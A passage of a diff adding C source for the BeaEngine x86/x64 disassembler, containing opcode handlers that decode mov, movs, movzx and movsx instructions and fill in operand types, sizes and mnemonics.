======================================= + * 0a1h + * ======================================= */ +void __bea_callspec__ mov_eAXOv(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.RM_ = 5; + GV.MOD_= 0; + if (GV.AddressSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Argument2.Memory.Displacement = (Int64)MyAddress; + } + else if (GV.AddressSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Argument2.Memory.Displacement = (Int64)MyAddress; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Argument2.Memory.Displacement = (Int64)MyAddress; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + } + else { + GV.MemDecoration = Arg2word; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]); + #endif + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg2dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0+8]); + #endif + } + else { + GV.MemDecoration = Arg2word; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0+8]); + #endif + } + } + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE ; + if (GV.MemDecoration == 104) { + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.MemDecoration == 103) { + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else if (GV.MemDecoration == 102) { + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + +} + +/* ======================================= + * 0a2h + * ======================================= */ +void __bea_callspec__ mov_ObAL(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.MemDecoration = Arg1byte; + GV.RM_ = 5; + GV.MOD_= 0; + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE ; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgSize = 8; + if (GV.AddressSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Argument1.Memory.Displacement = (Int64)MyAddress; + } + else if (GV.AddressSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Argument1.Memory.Displacement = (Int64)MyAddress; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Argument1.Memory.Displacement = (Int64)MyAddress; + } + + if (GV.REX.B_ == 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0+8]); + #endif + } + +} + +/* ======================================= + * 0a3h + * ======================================= */ +void __bea_callspec__ mov_OveAX(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + GV.RM_ = 5; + GV.MOD_= 0; + if (GV.AddressSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Argument1.Memory.Displacement = (Int64)MyAddress; + } + else if (GV.AddressSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Argument1.Memory.Displacement = (Int64)MyAddress; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Argument1.Memory.Displacement = (Int64)MyAddress; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0]); + #endif + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]); + #endif + } + else { + GV.MemDecoration = Arg1word; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + GV.MemDecoration = Arg1qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0+8]); + #endif + } + else if (GV.OperandSize == 32) { + GV.MemDecoration = Arg1dword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0+8]); + #endif + } + else { + GV.MemDecoration = Arg1word; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0+8]); + #endif + } + } + + (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE ; + if (GV.MemDecoration == Arg1qword) { + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.MemDecoration == Arg1dword) { + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else if (GV.MemDecoration == Arg1word) { + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } +} + +/* ======================================= + * 0b0h + * ======================================= */ +void __bea_callspec__ mov_ALIb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + ALIb(pMyDisasm); +} + +/* ======================================= + * 0b1h + * ======================================= */ +void __bea_callspec__ mov_CLIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[1]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * 0b2h + * ======================================= */ +void __bea_callspec__ mov_DLIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[2]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * 0b3h + * ======================================= */ +void __bea_callspec__ mov_BLIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[3]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * 0b4h + * ======================================= */ +void __bea_callspec__ mov_AHIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[4]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgPosition = HighPosition; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * 0b5h + * ======================================= */ +void __bea_callspec__ mov_CHIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[5]); + #endif + (*pMyDisasm).Argument1.ArgPosition = HighPosition; + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * 0b6h + * ======================================= */ +void __bea_callspec__ mov_DHIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[6]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG2; + (*pMyDisasm).Argument1.ArgPosition = HighPosition; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + +/* ======================================= + * 0b7h + * ======================================= */ +void __bea_callspec__ mov_BHIb(PDISASM pMyDisasm) +{ + long MyNumber; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + if (!Security(2, pMyDisasm)) return; + GV.ImmediatSize = 8; + MyNumber = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) &(*pMyDisasm).Argument2.ArgMnemonic,"%.2X",(Int64) MyNumber); + #endif + (*pMyDisasm).Instruction.Immediat = MyNumber; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers8BitsLegacy[7]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG3; + (*pMyDisasm).Argument1.ArgPosition = HighPosition; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + GV.EIP_ += 2; +} + + +/* ======================================= + * 0a4h + * ======================================= */ +void __bea_callspec__ movs_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsb "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 8; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 8; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 68); +} + +/* ======================================= + * 0a5h + * ======================================= */ +void __bea_callspec__ movsw_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix; + } + if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) { + (*pMyDisasm).Prefix.RepPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+STRING_INSTRUCTION; + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsq "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 64; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 68); + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsd "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 32; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 68); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsw "); + #endif + (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument1.Memory.BaseRegister = REG7; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE; + (*pMyDisasm).Argument2.Memory.BaseRegister = REG6; + (*pMyDisasm).Argument2.ArgSize = 16; + (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG+REG6+REG7; + GV.EIP_++; + FillFlags(pMyDisasm, 68); + } +} + +/* ======================================= + * 0fb6h + * ======================================= */ +void __bea_callspec__ movzx_GvEb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movzx "); + #endif + GvEb(pMyDisasm); +} + + +/* ======================================= + * 0fbeh + * ======================================= */ +void __bea_callspec__ movsx_GvEb(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsx "); + #endif + GvEb(pMyDisasm); +} + +/* ======================================= + * 0fbfh + * ======================================= */ +void __bea_callspec__ movsx_GvEw(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsx "); + #endif + GvEw(pMyDisasm); +} + +/* ======================================= + * 0fb7h + * ======================================= */ +void __bea_callspec__ movzx_GvEw(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movzx "); + #endif + GvEw(pMyDisasm); +} + +/* ======================================= + * 0b8h + * ======================================= */ +void __bea_callspec__ mov_EAX(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + } + } + else { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0+8]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0+8]); + #endif + } + } + +} + +/* ======================================= + * 0b9h + * ======================================= */ +void __bea_callspec__ mov_ECX(PDISASM pMyDisasm) +{ + UInt64 MyAddress; + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mov "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG1; + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + if (GV.OperandSize == 64) { + if (!Security(9, pMyDisasm)) return; + MyAddress = *((UInt64 *)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%I64X",(Int64) MyAddress); + #endif + GV.EIP_+=9; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 64; + (*pMyDisasm).Argument2.ArgSize = 64; + } + else if (GV.OperandSize == 32) { + if (!Security(5, pMyDisasm)) return; + MyAddress = *((UInt32*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.8X",(Int64) MyAddress); + #endif + GV.EIP_+=5; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 32; + (*pMyDisasm).Argument2.ArgSize = 32; + } + else { + if (!Security(3, pMyDisasm)) return; + MyAddress = *((UInt16*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.4X",(Int64) MyAddress); + #endif + GV.EIP_+=3; + (*pMyDisasm).Instruction.Immediat = (Int64)MyAddress; + (*pMyDisasm).Argument1.ArgSize = 16; + (*pMyDisasm).Argument2.ArgSize = 16; + } + + if (GV.REX.B_ == 0) { + if (GV.OperandSize == 64) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0]); + #endif + } + else if (GV.OperandSize == 32) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0]); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) 